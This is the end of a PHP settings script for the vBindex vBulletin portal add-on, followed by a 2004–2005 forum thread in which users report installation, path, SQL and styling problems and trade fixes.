print_checkbox_row($vbphrase['news_posters_avatar'], 'vbi_bit[shownewsavatar]', iif($vbindex['options'] & 8, 1, 0), 8);
print_input_row($vbphrase['news_forumid'], 'vbi[newsfid]', $vbindex['newsfid']);
print_input_row($vbphrase['news_posts_to_show'], 'vbi_int[newsposts]', $vbindex['newsposts']);
print_input_row($vbphrase['news_chars_to_show'], 'vbi_int[newscharlimit]', $vbindex['newscharlimit']);
print_checkbox_row($vbphrase['show_subscribed_icon'], 'vbi_bit[subnews]', iif($vbindex['options'] & 256, 1, 0), 256);
print_checkbox_row($vbphrase['show_sticky_news_threads'], 'vbi_bit[stickynews]', iif($vbindex['options'] & 1048576, 1, 0), 1048576);
print_table_break();

// latest threads
print_table_header($vbphrase['latest_threads']);
print_checkbox_row($vbphrase['latest_threads_enabled'], 'vbi_bit[showthreads]', iif($vbindex['options'] & 16, 1, 0), 16);
print_checkbox_row($vbphrase['enable_center_threads'], 'vbi_bit[showcenterthreads]', iif($vbindex['options'] & 134217728, 1, 0), 134217728);
print_input_row($vbphrase['recent_threads_to_show'], 'vbi_int[maxlthreads]', $vbindex['maxlthreads']);
print_checkbox_row($vbphrase['show_subscribed_icon'], 'vbi_bit[subthreads]', iif($vbindex['options'] & 512, 1, 0), 512);
print_table_break();

// poll
print_table_header($vbphrase['poll']);
print_checkbox_row($vbphrase['poll_enabled'], 'vbi_bit[pollnews]', iif($vbindex['options'] & 65536, 1, 0), 65536);
print_checkbox_row($vbphrase['random_poll_enabled'], 'vbi_bit[randompoll]', iif($vbindex['options'] & 131072, 1, 0), 131072);
print_input_row($vbphrase['poll_forumid'], 'vbi[pollsforumid]', $vbindex['pollsforumid']);
print_table_break();

// shoutbox
print_table_header($vbphrase['shoutbox']);
print_checkbox_row($vbphrase['shoutbox_enabled'], 'vbi_bit[showshoutbox]', iif($vbindex['options'] & 32, 1, 0), 32);
print_input_row($vbphrase['shouts_to_show'], 'vbi_int[maxshouts]', $vbindex['maxshouts']);
print_checkbox_row($vbphrase['asc_order_shoutbox'], 'vbi_bit[ascshout]', iif($vbindex['options'] & 8388608, 1, 0), 8388608);
print_input_row($vbphrase['shout_wrap_length'], 'vbi_int[shout_wrap_length]', $vbindex['shout_wrap_length']);
print_input_row($vbphrase['max_shout_length'], 'vbi_int[max_shout_length]', $vbindex['max_shout_length']);
print_checkbox_row($vbphrase['scrollable_shoutbox'], 'vbi_bit[shoutbox_type]', iif($vbindex['options'] & 4096, 1, 0), 4096);
print_checkbox_row($vbphrase['shoutbox_showdisabled'], 'vbi_bit[shoutbox_postdisabled]', iif($vbindex['options'] & 262144, 1, 0), 262144);
print_checkbox_row($vbphrase['shout_deletion'], 'vbi_bit[member_shout_delete]', iif($vbindex['options'] & 8192, 1, 0), 8192);
// implode the global shout deletion groups into $vbindex['membergroupids'] so that print_memebergroup_row will check the usergroup boxes
if (is_array($vbindex['global_shout_delete'])) {
$vbindex['membergroupids'] = implode(',', $vbindex['global_shout_delete']);
} else {
$vbindex['membergroupids'] = array(0);
}
print_membergroup_row($vbphrase['global_shout_delete'], 'vbi_ug[global_shout_delete]', 0, $vbindex);
// add 0 to the above array so that the foreach in the update allways has an array to create
construct_hidden_code('vbi_ug[global_shout_delete][]', '0');
print_table_break();

// welcome box
print_table_header($vbphrase['welcome_box']);
print_checkbox_row($vbphrase['enable_new_posts'],'vbi_bit[shownewposts]', iif($vbindex['options'] & 524288, 1, 0), 524288);
print_checkbox_row($vbphrase['show_users_avatar'], 'vbi_bit[showwavatar]', iif($vbindex['options'] & 2048, 1, 0), 2048);
print_input_row($vbphrase['default_guest_avatar'], 'vbi[guestavatar]', $vbindex['guestavatar']);
print_input_row($vbphrase['default_user_avatar'], 'vbi[useravatar]', $vbindex['useravatar']);
print_checkbox_row($vbphrase['new_subscribed_threads'], 'vbi_bit[subnewposts]', iif($vbindex['options'] & 1024, 1, 0), 1024);
print_table_break();

// calendar
print_table_header($vbphrase['calendar']);
print_checkbox_row($vbphrase['enable_calendar'], 'vbi_bit[showcalendar]', iif($vbindex['options'] & 16384, 1, 0), 16384);
print_checkbox_row($vbphrase['enable_todays_birthdays'], 'vbi_bit[showbirthdays]', iif($vbindex['options'] & 32768, 1, 0), 32768);
print_checkbox_row($vbphrase['show_weekends'], 'vbi_bit[showweekends]', iif($vbindex['options'] & 33554432, 1, 0), 33554432);
print_table_break();

// wol
print_table_header($vbphrase['whos_online']);
print_checkbox_row($vbphrase['enable_online_users'], 'vbi_bit[wol]', iif($vbindex['options'] & 128, 1, 0), 128);
print_checkbox_row($vbphrase['enable_online_today'], 'vbi_bit[24wol]', iif($vbindex['options'] & 2097152, 1, 0), 2097152);
print_checkbox_row($vbphrase['enable_online_today_usernames'], 'vbi_bit[24woluser]', iif($vbindex['options'] & 4194304, 1, 0), 4194304);
print_table_break();

// misc
print_table_header($vbphrase['misc']);
print_input_row($vbphrase['exclude_forumids'], 'vbi[limitfids]', $vbindex['limitfids']);
print_table_break();

// save options row
print_submit_row($vbphrase['save']);
}

// ###################### Start insert #######################
if ($_POST['do'] == 'update') {

$_vbindex = array();
$_vbindex['options'] = 0;

// process bitfield options
foreach($_POST['vbi_bit'] AS $value) {
$_vbindex['options'] += intval($value);
}
unset($key, $value);

// process int vals
foreach($_POST['vbi_int'] AS $key => $value) {
$_vbindex["$key"] = intval($value);
}
unset($key, $value);

// process string vals
foreach($_POST['vbi'] AS $key => $value) {
$_vbindex["$key"] = trim($value);
}
unset($key, $value);

// process usergroup options
$is_array = false;
foreach($_POST['vbi_ug'] AS $key => $array) {
foreach($array AS $value) {
if (intval($value) != 0) {
$_vbindex["$key"][] = intval($value);
$is_array = true;
} elseif (!$is_array) {
$_vbindex["$key"] = array();
}
}
}
unset($key, $value, $array, $is_array);

$DB_site->query("UPDATE ".TABLE_PREFIX."datastore SET data = '".addslashes(serialize($_vbindex))."' WHERE title = 'vbindex_setting'");

define('CP_REDIRECT', 'vbioptions'.SCRIPT_EXTENSION.'?do=edit');
print_stop_message('vbindex_settings_saved');
if ($debug) {
echo '<pre>';
print_r($_vbindex);
echo '</pre>';
}

}

print_cp_footer();

?>

dreck
12-03-2004, 08:24 PM
I installed this great hack earlier today. Nice work, thanks!

I clicked the install button. :)

I have a few very minor things that I would like to fix:

1.) From the admin cpanel the Forum home page link at top of page has been changed. Which the link is from my computer, I just not sure which template to edit & where? or why?
file:///C|/DOCUME%7E1/64/LOCALS%7E1/index.php?

2.) My avatar doesnt show up on the welcome screen? My path to the image is:
http://www.thisdarncar.com/vb/images/avatars/6.gif

Any help with these minor things would be great!

Great stuff!!!!

Thanks, dreck

flstreetscene
12-04-2004, 03:47 AM
Plz someone help me. :disappointed:

I've been at this basic problem for a while now...

Most links on my front page (navbar/login) is missing the /forums part of the url and therefore dont work. What do I need to edit for this?

Thank you.

flstreetscene
12-04-2004, 01:27 PM
I've replaced the path to the forums as per instructions;

define('CHDIR_PATH', '/path/to/forums/');

to...

define('CHDIR_PATH', '/home/zeno/domains/floridastreetscene.com/public_html/forums');

vlad7
12-04-2004, 03:47 PM
can i install this portal system on vb 3.0.3?

Blue Moose Aaron
12-05-2004, 03:26 AM
Yes you can

Scerina
12-05-2004, 04:58 PM
Yes you can
Umm...dunno if anyone know this or if anyone has encounter this sorta problem...but what if you have other Foriegn Language Packs Installed and it conflicts with the News Header Title in the VbIndex Options Section under Admin CP and also, it does not post the latest threads on the main vbIndex page when you create a thread in one of the Desinated News Forums. And am not sure if this has anything to do wit the Foriegn Language Packs I installed.

Can someone help me out here?

Blue Moose Aaron
12-05-2004, 08:38 PM
I wouldn't think your language pack would make any difference. Can you give a link to your forum and vbindex page?

jmellicker
12-05-2004, 09:17 PM
I am looking for a vBindex expert to install vBindex on our site and be available via IM to consult and do modifications, etc.

If you are interested, email:

josh ( a t ) dvcreators.net

(keep track of time and bill us!)

jmacieira
12-05-2004, 10:49 PM
Hello

I have error in my calendar in vBindex

the link in calendar in vBindex is: http://www.reefforum.net/calendar.core?do=getinfo&day=2004-12-5&c=3 have error.

The correct link in forum is: http://www.reefforum.net/calendar.php?do=getinfo&e=11&day=2004-12-5&c=3

because this error ?

sorry my ingles

Scerina
12-06-2004, 12:42 AM
I wouldn't think your language pack would make any difference. Can you give a link to your forum and vbindex page?
my forum link is:

http://www.underworld-chaos.net/boards/vbindex.php

Scerina
12-06-2004, 01:02 AM
Actually, ever since I installed some language packs from vb.com, my vbindex homepage is not working properly. For instance, you no longer see your avatar on the index page or whenever I make posts in the forums reserved for news posting, they do not show up on the vbindex homepage...so something is seriously wrong here. Can someone plz help me out? If you can help me out, plz contact me via one of these methods:

Email: Pandora@Sweet-November.Net
AIM: LisaScerina
MSN: Scerina@Hotmail.Com
YIM: lharris1813

Thanx in advance

flstreetscene
12-06-2004, 04:59 PM
What do you have to edit so the front page spans as far as the navbar. Right now it's a bit more narrow;

http://www.floridastreetscene.com/

Scerina
12-06-2004, 09:27 PM
What do you have to edit so the front page spans as far as the navbar. Right now it's a bit more narrow;

How do I do that? Also, how do I make the header image wider like on the creator of this hack's forum:

http://www.thesistersthree.com/?

Delphy
12-07-2004, 10:41 AM
I noticed a problem with the shoutbox.

When you configure vbIndex, you set the number of shoutbox posts, however, when you go to view all shouts the perpage value is set to 25, and the first page only has X number of shouts on it (ie the number you configured to show in the sidebar).

This means that when you go from page 1 to 2 you skip shouts. So, in my case, I'd go from viewing 1-10 to viewing 25-50, skipping everything in between.

I fixed this, and changed it so that it uses the users posts per page setting instead. Also, when viewing All Shouts, the side bar shoutbox doesn't appear.

gmarik
12-07-2004, 08:43 PM
Any new addons?

suryoyena
12-08-2004, 02:33 AM
Hi, I have two problems with this hack.

I'm using since yesterday vB 3.0.3 and installed the vBindex.

1.) Could not find phrase 'vbi_ ... '. in different cases

2.) I can't start the vbi-controlpanel from the adminpanel

I didn't find something with the search. It would be great if you can help me.

Thanks a lot!

Chris

jmacieira
12-08-2004, 01:13 PM
hello

i have instalad vbindex.php and in my admin, and i have change im my admin the my home page index for vbindex but the home page it index continues to open my old page (index)

the page vbindex works correctly, does not only open as entrance page.

therefore I go my administration "Script Name I will be Forum Home Page" to modify index for vbindex and the system continues to open index as default

My vbindex http://www.reefforum.net/vbindex.php
my home http://www.reefforum.net/index.php

they know me to say because

(sorry my ingles im Portuguese)

suryoyena
12-08-2004, 02:40 PM
@jmacieieira
Your problem is easy to solve.

1. Create a new file and put the following content in:
"DirectoryIndex vbindex.php index.php"

2. Save it as "htaccess"

3. Upload it into your root

That's it.

I hope someone can help me with my problem too.
Read my first post on this page..

Chris

Scerina
12-08-2004, 11:56 PM
My vbIndex does not update when I post any new threads in the forums reserved for News Posting on the VbIndex Homepage.

Can someone help me fix this issue plz?

dreck
12-09-2004, 05:57 PM
Guess everyone missed my post?
Or noone has a fix?

Thanks for any reply

I installed this great hack earlier today. Nice work, thanks!

I clicked the install button. :)

I have a few very minor things that I would like to fix:

1.) From the admin cpanel the Forum home page link at top of page has been changed. Which the link is from my computer, I just not sure which template to edit & where? or why?
file:///C|/DOCUME%7E1/64/LOCALS%7E1/index.php?

2.) My avatar doesnt show up on the welcome screen? My path to the image is:
http://www.thisdarncar.com/vb/images/avatars/6.gif

Any help with these minor things would be great!

Great stuff!!!!

Thanks, dreck

noppid
12-09-2004, 06:38 PM
Hey NTLDR.

vBindex has been very good for us thanks. I have one thing I can't work out and was hoping you could explain what I may do to overcome it.

I added this code...

//vbgarage

$result_latest = $DB_site->query("
SELECT * FROM " . TABLE_PREFIX . "vbgarage_images ORDER BY vbgarageid DESC LIMIT 5
");

while ($latest = $DB_site->fetch_Array($result_latest))
{
eval('$latestbits .= "' . fetch_template('vbgarage_latestbits') . '";');
}



Which parses this template...

<td class="alt2" colspan="1" align="center"><a href="$vboptions[bburl]/vbgarage.php?do=view&amp;id=$latest[userid]"><img src="$vboptions[bburl]/vbgarage.php?do=thumb&amp;width=100&amp;id=$latest[vbgarageid]" border=0 /></a></td>


The code in the template calls the vbgarage php file to display the thumbs.

The code works with one anomoly, when it runs the vbgarage.php it updates the users location to the garage and not the index. I've tried the code in a few places with no luck. This isn't a show stopper, but with your experience I was hoping you may be able to make a suggestion.

Thanks and Regards

webophir
12-09-2004, 10:44 PM
Hi,

I just installed VBindex 3.0.0RC5.
Everythin work smoothly. But I got a question.
I want vbindex.php file in other directory:

for example, suppose this is my directory structure.

root -> vbindex.php (i'll rename this to index.php)
-> forum (directory) (vbiconfig.php is in this directory)
-> gallery (directory)

I changed values in "vbindex.php" line 137:
require_once('./forum/vbiconfig.php');

And I changed values in "vbiconfig.php" line 25:
define('CHDIR_PATH', 'forum/');

Everything looks fine, but One problem I could not make it working was:
images path is missed (http://URL/images/misc/menu_open.gif). It must be 'http://url/forum/images/misc/menu_open.gif'.

how could I solve this problem?

=========================================

Finally I solved the problem.
My solution was: go to admin panel -> style manager -> all style options (go) -> Image Paths -> change values to my full URL pointing to forum image directory (http://URL/forum/images/buttons, etc).

Is it the best way? Any other efficient solution you have?

Gary King
12-09-2004, 11:10 PM
My index looks bad when you are logged out: http://maloria.com/

Anyone know what's wrong and what I should do to fix this?

noppid
12-09-2004, 11:13 PM
Have you edited templates? Did any of the edited elements contain a conditional that checked if the user is logged in or not? If so it looks like you have a table error in the code displayed to guests.

Gary King
12-09-2004, 11:50 PM
I didn't change any templates. The page looks fine for others, only not for me. Weird. Anyways, I'll leave it then :eek:

noppid
12-10-2004, 12:21 AM
I didn't change any templates. The page looks fine for others, only not for me. Weird. Anyways, I'll leave it then :eek:

It's a mess for me too. You have google ads, someone edited something. :ermm:

EDIT:

It's working now when I go there, was a mess before. Go Figure!

Paudie
12-10-2004, 11:11 PM
hey, erm could some pro out there tell me why this happens to mine
keep getting a line:

Warning: chdir(): No such file or directory (errno 2) in /home/yerix/public_html/index.php on line 144

I have followed instructions as best as i could a few times, but its just not happening for me.

http://www.yerix.com

much help is appreciated.

BarHopper
12-11-2004, 05:06 PM
on vbindex.php, i get this error:

'.php'); ?>
Warning: chdir(): No such file or directory (errno 2) in /home/grealms/public_html/vbindex.php on line 144

Warning: main(./global.php): failed to open stream: No such file or directory in /home/grealms/public_html/vbindex.php on line 145

Fatal error: main(): Failed opening required './global.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/grealms/public_html/vbindex.php on line 145

TheEnd
12-11-2004, 07:15 PM
I installed it a while ago, works great. Then I just added a bunch of new styles today. VBindex only works on the Default style, what do I need to do to view index with the different styles?

BarHopper
12-11-2004, 09:04 PM
^ Run the innstaller again, setting your new style as the default, and run only the styles modifcations.

TheEnd
12-11-2004, 10:15 PM
Thanks, worked!

TheEnd
12-11-2004, 11:29 PM
Why are some styles messed up? Actually, all of them are.
http://rec0n.nauticaltech.com/index.php?styleid=7
http://rec0n.nauticaltech.com/index.php?styleid=8
http://rec0n.nauticaltech.com/index.php?styleid=9
http://rec0n.nauticaltech.com/index.php?styleid=10
They are supposed to look like:
http://rec0n.nauticaltech.com/forums/index.php?styleid=7
http://rec0n.nauticaltech.com/forums/index.php?styleid=8
http://rec0n.nauticaltech.com/forums/index.php?styleid=9
http://rec0n.nauticaltech.com/forums/index.php?styleid=10
The logo BG, navbar, cat gradients, and table borders aren't working. I think VBindex defines those vars differently than the forums or something. I know nothing about VB style coding so someone please help. :'(

steven s
12-12-2004, 01:31 PM
Hello,

I'm receiveing this message in my error logs.

File does not exist: /home/ataforum/public_html/http://www.myurl.com/cron.php.

The cron file is located where it is supposed to be but for some reason the url is being added after /public html/ instead of just the cron.php. I read some previous posts and they said it was related to VBindex and the way it calls the $cronimage. I have not modified the copyright in any way. Could someone please shed some light on this situation. I have read about 50 of the pages in this thread but no luck. Thanks in advance.

I too am having this problem. The cron jobs for vBulletin seem to be working.
In my error log it shows /forum/http://www.mydomain.org/forum/cron.php.

b6gm6n
12-12-2004, 04:03 PM
there's a few people asking how to show attachments in the news section, well i'm asking to, seems no one has the answer just yet.

-b6

TheEnd
12-12-2004, 04:07 PM
Why are some styles messed up? Actually, all of them are.
http://rec0n.nauticaltech.com/index.php?styleid=7
http://rec0n.nauticaltech.com/index.php?styleid=8
http://rec0n.nauticaltech.com/index.php?styleid=9
http://rec0n.nauticaltech.com/index.php?styleid=10
They are supposed to look like:
http://rec0n.nauticaltech.com/forums/index.php?styleid=7
http://rec0n.nauticaltech.com/forums/index.php?styleid=8
http://rec0n.nauticaltech.com/forums/index.php?styleid=9
http://rec0n.nauticaltech.com/forums/index.php?styleid=10
The logo BG, navbar, cat gradients, and table borders aren't working. I think VBindex defines those vars differently than the forums or something. I know nothing about VB style coding so someone please help. :'(
*Bump*

b6gm6n
12-12-2004, 11:22 PM
i think i've found the 'welcome box user with no avatar bug' - i thought it was working (and it was) then it wasn't...hang on i thought, after reading around here it's exactly the same problem, if a user doesn't use an avatar then the 'Default User Avatar' did'nt show...but why? - well... simple really, i turned off 'Enable News Posters Avatar' - that was the problem, turned it on again...bingo...the bug went away... i'll leave it with you mr nt loader :)

edit - actually, it kinda works... news poster avatar shows, but a user without an avatar still shows nothing, in fact it tried to show an avatar according to the userid (i store mine in a file system btw) typical url for a missing avatar is > http://www.xx.co.uk/forum/customavatars/avatar4_0.gif (which is user 4)

-b6

evss
12-13-2004, 06:58 PM
coreforums.net no longer available?
thought is the support for vbindex?

Blue Moose Aaron
12-14-2004, 12:44 PM
I think all support for this is gone. I may move to vbadvanced if I can't figure out a way to display attachments in my news bit

TheEnd
12-14-2004, 01:35 PM
I think all support for this is gone. I may move to vbadvanced if I can't figure out a way to display attachments in my news bit
I already made the switch myself. Just goto the vbindex admincp installer, goto uninstall, and install vBADVANCED. I love the thing. Only problem is I don't see a shoutbox.

Blue Moose Aaron
12-14-2004, 11:00 PM
I made the switch earlier today and now I have the abiliity to have my attachments display in the post!

dreck
12-16-2004, 11:13 PM
I installed this great hack earlier today. Nice work, thanks!

I clicked the install button. :)

I have a few very minor things that I would like to fix:

1.) From the admin cpanel the Forum home page link at top of page has been changed. Which the link is from my computer, I just not sure which template to edit & where? or why?
file:///C|/DOCUME%7E1/64/LOCALS%7E1/index.php?

2.) My avatar doesnt show up on the welcome screen? My path to the image is:
http://www.thisdarncar.com/vb/images/avatars/6.gif

Any help with these minor things would be great!

Great stuff!!!!

Thanks, dreck

bump

Delphy
12-19-2004, 12:47 AM
Hiya,

I found a bug with vbIndex and the member list/count on the front page.

When a member is either not logged on, or doesn't have permissions to see invisible users, the member list will "break" when the first invisible user is encountered.

The offending line is line 398, the break 1 line:

} elseif ($onlineuser['invisible']) {
$home['onlineguesttotal']++;
$home['onlinemembertotal']--;
break 1;
}


Commenting this line out so that it completes the rest of the loop then makes the member list and member numbers render properly.

Hope this helps,
Delphy

bulbasnore
12-19-2004, 06:08 AM
It appears our original admin installed vbindex, it is unused. I looked at readme_1st and it doesn't appear to address uninstalling.

As per above, I've gone through the uninstall step, but a ton of vbindex templates remain.

We're doing a major site upgrade and I'd like to remove these vbindex associated templates. What is the best way to do this?

plubius
12-19-2004, 09:24 AM
Any hope of getting this for 3.0.3?

chris2707
12-19-2004, 12:09 PM
It already works fine on 3.0.3

yoyoyoyo
12-20-2004, 01:30 PM
I installed vbindex to vb 3.0.3 with no problems, and then I pointed my browser to mydomain.com/forum/admincp/vbioptions.php and set all of the preferences, and hit "save" yet when I looked at my forum it looked exactly the same. I was not able to edit the index.php file from the admincp folder since I did not see the text indicated in that file, but the installation said that step was optional anyway. I selected to use the left column, with 0 custom side blocks ( I changed the number and didn't see any differences), in left box 1 I chose Shoutbox, Left box 2 I chose Latest Threads, Left Box 3 is Online USers, Left Box 4 is Poll, and the rest are unused. I did not enable the news, chose to have "latest threads" enabled, with 5 most recent showing, and subscribed icon, enabled the Poll, enabled a Random Poll, set the Poll forum ID to the Voting Booth forum I set up, enabled the Shoutbox, enabled the welcome box, did not enable the calendar, did enable who's online, and then hit save, but I see no difference in my forum at all. When I go to forum/vbindex.php I can see the vbindex boxes I set up, but no forum content. How do I get index.php and vbindex.php to merge? How do I set it up so I can actually see new content? I did make the changes indicated in the first step to the vbiconfig.php file, and reupped it to my server, but still see no changes at all to the content of index.php.

awhwalker
12-21-2004, 10:30 PM
Hi All,
I have Vb3.0.3 and just installed Bindex RC5.
The install worked ok (got stuck in the images config page loop)
Tried configuring the options page and then saved my settings but this made no change at all to my vbulletin homepage.

One thing troubled me during the install. The screens that ask you to click on the "next" button prompted me to "please wait" but no further updates were displayed. I was kind of expecting to be told to proceed, but no, nothing. is this how it is meant to be?

some help on this would be much appreciated.

Cheers

ps as a footnote, I'd recommend a bit more assistance in the options page as its not quite clear where each box will be positioned (other than left or right)

T3MEDIA
12-21-2004, 10:40 PM
<a href="http://www.sprnch.com" target="_blank">www.sprnch.com</a> if you need something I have just let me know.

steven s
12-24-2004, 02:18 PM
I already made the switch myself. Just goto the vbindex admincp installer, goto uninstall, and install vBADVANCED. I love the thing. Only problem is I don't see a shoutbox.

Same here. How do you removed the vBindex templates?
I ran the uninstaller but they are still there.

...steven

steven s
12-24-2004, 10:15 PM
As usual I find myself answering my own posts. :(
http://www.vbulletin.com/forum/showthread.php?t=81546
Simply hit revert. Silly me, I was looking for delete.

Odoin
12-25-2004, 12:04 PM
Hi guys since I moved my site to a different server vbindex not longer runs. I am not a PHP guru or any sort of guru but here are the errors:

Warning: chdir(): No such file or directory (errno 2) in /home/httpd/vhosts/domain.com/httpdocs/vbindex.php on line 145

Warning: main(./global.php): failed to open stream: No such file or directory in /home/httpd/vhosts/domain.com/httpdocs/vbindex.php on line 146

Fatal error: main(): Failed opening required './global.php' (include_path='.:/usr/share/pear') in /home/httpd/vhosts/domain.com/httpdocs/vbindex.php on line 146


File version is: vBindex, File v3.0.21

Also VB 3.0.1 runs fines on the server ;).

Thank you for your help and Marry Christmas!

frage
12-27-2004, 12:46 AM
Odoin
it looks like your folderpaths are incorrect...
open your vbindex.php with an simple text editor like wordPad
and try to find
maybe there are incorrect paths...
+++++++++
chdir(CHDIR_PATH);
require_once('./global'.SCRIPT_EXTENSION);
require_once('./includes/functions_bbcodeparse'.SCRIPT_EXTENSION);
require_once('./includes/functions_bigthree'.SCRIPT_EXTENSION);
require_once('./includes/functions_user'.SCRIPT_EXTENSION);
++++++++

frage

tvbuzz
12-27-2004, 10:39 PM
for vbindex_extra pages .. anyone know how to require registration in order to view those?

chet
12-28-2004, 02:11 PM
How do I uninstall vbindex, I looked at the first 15 pages but do not have time to go through the other 100 odd pages

Thanks

Alfa166
12-29-2004, 06:38 AM
I've installed RC5 on my Vb 3.0.3, install went smooth no issues but forums remain in previous state, I've changed the settings and updated anything that was to be updated, I'm no guru in either php or mysql so any help would be appreciated.

Is there a toggle on/off for vbindex ? if so where is it located.

My forums are in their infancy can be seen @ www.s-i-n.co.uk/forums

I also tried the uninstall after some frustration with the lack of feedback only to hit the following...........

Database error in vBulletin 3.0.3:

Invalid SQL:
SELECT phrasetypeid
FROM phrasetype
WHERE fieldname IN('vbindex', 'vbindex_cp')

mysql error: Table 'sin.phrasetype' doesn't exist

mysql error number: 1146

Date: Wednesday 29th of December 2004 08:39:48 AM
Script: http://www.s-i-n.co.uk/forums/admincp/vbiupgrade.php?step=uninstall
Referer: http://www.s-i-n.co.uk/forums/admincp/vbiupgrade.php?step=welcome

So basicaly I'm installed but not working and unable to uninstall, clues would be good at this point as from the examples I've seen vBindex truely rocks.

AlfA

Exernon
12-29-2004, 11:49 AM
I just bought a licensed copy of vBulletin. And upon installation of vBulletin, I went straight here to get some hacks. I found this one and I got excited about this fine work so I installed it immediately. Well, I installed it successfully (I think), but when I enabled the blocks. A database error occured:

Database error in vBulletin 3.0.3:

Invalid SQL:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,


IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM thread AS thread
LEFT JOIN user AS user ON (thread.postuserid = user.userid)
LEFT JOIN post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')


WHERE forumid IN ()
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'


ORDER BY thread.dateline DESC
LIMIT 0
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)


mysql error number: 1064

Date: Wednesday 29th of December 2004 07:45:01 AM
Script: http://www.xxxxxxx.com/
Referer:
Username: xxxxx
IP Address: xxx.xxx.xxx.xxx
How do I solve this?

Meltingfire
12-30-2004, 07:40 PM
Havent been here for a long time now, but i think i remember that i have seen some examples of how to make your own "page" at vbindex or something like that.

What i want to do is to publish some own custom pages with some information that i can easily link to and that uses the vBindex-look but changes the News part to my own information.

Is this possible?

laskos
01-01-2005, 02:39 PM
hi all

how can i add the forum index on the left and the blocks on the right ??

any ideas appreciated.

Laskos

kintaro
01-03-2005, 01:36 PM
vBindex seem realy nice. Since I'm new to php and advance programming/scripting I have difficulties changing it like I would like it to be. I have bought a vBulletin licence now and would like to know were in the code I have to make the following changes.

1. I would like to have both vBindex and vBulletin forum to center on the page with a fixed, the same way the following site has done: http://www.99mac.se

2. I would like to know how and were in the i can add a second navigation list just like it is done at the following site: http://www.99mac.se

Can i make the changes in the administration environmen.. in the templates ... or do I have to "hack" the code of the .php files?

Best regards, Chris

Pseudomizer
01-03-2005, 01:55 PM
vBindex seem realy nice. Since I'm new to php and advance programming/scripting I have difficulties changing it like I would like it to be. I have bought a vBulletin licence now and would like to know were in the code I have to make the following changes.

1. I would like to have both vBindex and vBulletin forum to center on the page with a fixed, the same way the following site has done: http://www.99mac.se

2. I would like to know how and were in the i can add a second navigation list just like it is done at the following site: http://www.99mac.se

Best regards, Chris

This has nothing to do with PHP. This is XML and HTML scripting in the templates. Just modify the templates with your HTML/XML knowledge. It took me 2 days to create my vbindex site with all the grafics for http://www.LoveTalks.de.

Cheers,

KingAdora
01-04-2005, 04:23 PM
How do we update the copyright symbols to MMV? I noticed the vB one updated by it's self (magic!) So I changed my own copyright to 2005, but the vBindex one remains on 2004?

grooveh
01-04-2005, 05:18 PM
Here's a question:

...I'm looking to see how easy it is to set even the VBindex page so that it is only viewable with vb3's integrated subscription service. I'd like to have a FULL subscription site, but currently it only allows me to set specific forums as part of the "subscription service".

Anyone able to shed some light?

flstreetscene
01-04-2005, 05:38 PM
What do I have to edit so that there are no margins for the vbindex content

shown here:
https://vborg.vbsupport.ru/

deta
01-05-2005, 11:07 AM
Hello, is to be installed vbindex also on vbulletin 3.0.4?

I have problems thereby.

cu Deta

b6gm6n
01-05-2005, 11:17 AM
Hello, is to be installed vbindex also on vbulletin 3.0.4?

I have problems thereby.

cu Deta

works on 3.0.4 for me! :)

-b6

deta
01-05-2005, 12:31 PM
works on 3.0.4 for me! :)

-b6

Hello
How did you install?
I installed straight again the version 3.0.4.
The current wanted to then install vBindex.
Has the filesinstalled like it in the guidance is located in such a way.
For the call of "vbiupgrade.php" he asks me only for Loginname and password and then comes the AdminCP and I on the right side only a white side saw.
It begins no installation.

cu Deta

ZGeek
01-05-2005, 10:01 PM
Anyone had any trouble upgrading with vbindex to 3.0.4? or did it go well? Im just worried to do it.

BrandNIC
01-05-2005, 11:24 PM
Anyone had any trouble upgrading with vbindex to 3.0.4? or did it go well? Im just worried to do it.

Worked Great at www.offroadrc.com

Found one problem, Forgot to change the vbindex to index.php
now we're back on track.

PuntoPower
01-07-2005, 04:24 PM
im just upgraded to vb3.0.5 and always av been using vbindex RC5

as you can see on RacersHaven.com the width appears to be wider than the header and navbar, these are set at 95%

in the VBINDEX templete i have changed the code even to 10% for the width and it makes no difference

plz help

its whats in yellow i change is it?


$stylevar[htmldoctype]
<html dir="$stylevar[textdirection]" lang="$stylevar[languagecode]">
<head>
<!-- no cache headers -->
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="-1" />
<meta http-equiv="Cache-Control" content="no-cache" />
<!-- end no cache headers -->
<title>$vboptions[bbtitle] - $vbphrase[powered_by_vbindex]</title>
$headinclude
</head>
<body>
$home[header]
$home[navbar]

<table cellpadding="$stylevar[cellpadding]" cellspacing="$stylevar[cellspacing]" border="0" width="$stylevar[tablewidth]">
<tr>
<if condition="($vbindex['options'] & VBI_LEFT_COL) OR ($vbindex['options'] & VBI_BOTH_COLS)">
$home[leftside]
etc
etc
etc
etc

SupremeWeapon
01-07-2005, 11:49 PM
I just bought a licensed copy of vBulletin. And upon installation of vBulletin, I went straight here to get some hacks. I found this one and I got excited about this fine work so I installed it immediately. Well, I installed it successfully (I think), but when I enabled the blocks. A database error occured:

Database error in vBulletin 3.0.3:

Invalid SQL:
## GET NEWS ##
SELECT thread.*,thread.iconid AS threadiconid, threadpost.pagetext AS pagetext,
threadpost.attach AS attachcount,


IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM thread AS thread
LEFT JOIN user AS user ON (thread.postuserid = user.userid)
LEFT JOIN post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')


WHERE forumid IN ()
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)
AND thread.open <> 10
AND thread.visible = '1'


ORDER BY thread.dateline DESC
LIMIT 0
mysql error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ')
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (0)


mysql error number: 1064

Date: Wednesday 29th of December 2004 07:45:01 AM
Script: http://www.xxxxxxx.com/
Referer:
Username: xxxxx
